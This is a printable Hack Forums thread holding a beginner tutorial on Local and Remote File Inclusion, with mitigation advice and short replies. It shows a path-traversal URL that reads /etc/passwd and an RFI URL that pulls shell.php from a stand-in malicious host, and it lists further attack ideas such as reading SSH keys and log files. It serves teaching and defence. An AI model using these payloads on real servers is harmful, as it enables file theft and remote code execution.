![]() |
|
[Legends] Local and Remote File Inclusion (LFI & RFI) - A Practical Guide - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47) +----- Thread: [Legends] Local and Remote File Inclusion (LFI & RFI) - A Practical Guide (/showthread.php?tid=6289416) |
Local and Remote File Inclusion (LFI & RFI) - A Practical Guide - JoseMar - Jan 12, 2025 Local and Remote File Inclusion (LFI & RFI) - A Practical Guide Introduction Local File Inclusion (LFI) and Remote File Inclusion (RFI) are two common vulnerabilities found in web applications. These vulnerabilities arise when applications dynamically include files based on user input without proper validation. While this might sound harmless, attackers can exploit these flaws to access sensitive files, execute malicious code, or even take full control of a server. This guide will break things down step by step, explaining what these vulnerabilities are, how they work, and how you can test for them ethically in a controlled environment. Let’s dive in! What is Local File Inclusion (LFI)? Local File Inclusion (LFI) happens when a web application allows users to specify files that will be loaded by the server. If the application fails to sanitize the input, attackers can exploit this to include unintended files stored locally on the server. How LFI Works Imagine a simple PHP application that includes files based on a `GET` parameter: PHP Code At first glance, this seems fine. A legitimate user might access the page like this: Code http://example.com/index.php?file=about.phpBut what happens if someone enters something unexpected? Code http://example.com/index.php?file=../../../../etc/passwdThe server will attempt to include /etc/passwd, revealing sensitive system information. What Can Attackers Achieve with LFI?
What is Remote File Inclusion (RFI)? Remote File Inclusion (RFI) takes things a step further. Instead of including local files, RFI vulnerabilities allow attackers to include files hosted on external servers. This can lead to remote code execution, giving attackers the ability to control the server. How RFI Works Here’s an example of vulnerable code: Code <?phpA legitimate user might visit: Code http://example.com/index.php?file=about.phpHowever, an attacker can do this: Code http://example.com/index.php?file=http://malicious-site.com/shell.phpThe server will fetch and execute shell.php, which could be a malicious script. LFI vs. RFI: What’s the Difference?
Both vulnerabilities can be devastating, but RFI is generally considered more dangerous since it directly enables remote code execution. Setting Up a Virtual Lab for Ethical Testing Testing LFI and RFI in the wild is unethical and illegal. To explore these vulnerabilities safely, you can set up a virtual lab. What You Need:
Steps to Set Up: Install Apache and PHP:
Create a Vulnerable Script:
Start the Web Server:
Test LFI:
Test RFI:
Example Malicious Script: Save the following as shell.php: PHP Code Real-World Consequences LFI and RFI have been used in numerous cyberattacks. Attackers might:
A famous example is the RFI exploitation in outdated PHP applications that led to massive botnet infections. How to Prevent LFI and RFI 1. Validate User Input Don’t trust user input. Use a whitelist approach: PHP Code 2. Disable Dangerous PHP Functions In php.ini, disable functions that allow RFI: Code allow_url_include = Off3. Use Absolute File Paths Explicitly define file paths to avoid directory traversal: PHP Code 4. Log and Monitor Keep track of errors and unusual activity. Suspicious patterns can indicate an attack attempt. Additional Examples of LFI and RFI Exploitation Viewing Log Files with LFI
Exploiting Backup Files
RFI for Remote Command Execution
Reading SSH Keys
Including a PHP Shell via File Upload
Conclusion LFI and RFI vulnerabilities are powerful tools in a hacker’s arsenal, but they can be mitigated with proper coding practices and configuration. By testing these vulnerabilities in a controlled lab, you can gain valuable insights into both attack and defense techniques. Always remember: ethical hacking is about making systems safer, not exploiting them. RE: Local and Remote File Inclusion (LFI & RFI) - A Practical Guide - Bastille - Jan 13, 2025 Always good to go back to the basics sometimes, by the way it's crazy that natively apache is still vulnerable to LFI and RFI I liked the remediation / counter measure part, great addition 😎 RE: Local and Remote File Inclusion (LFI & RFI) - A Practical Guide - JoseMar - Jan 15, 2025 (Jan 13, 2025 04:05 AM)Bastille Wrote: Always good to go back to the basics sometimes, by the way it's crazy that natively apache is still vulnerable to LFI and RFI Thanks so much mate, Appreciate it 🙂 RE: Local and Remote File Inclusion (LFI & RFI) - A Practical Guide - trasloke - Oct 1, 2026 Hi, What are the most common parameters to check when a page isn't working? If you were to access the configuration settings, what details do you think would be the most interesting? Thanks. |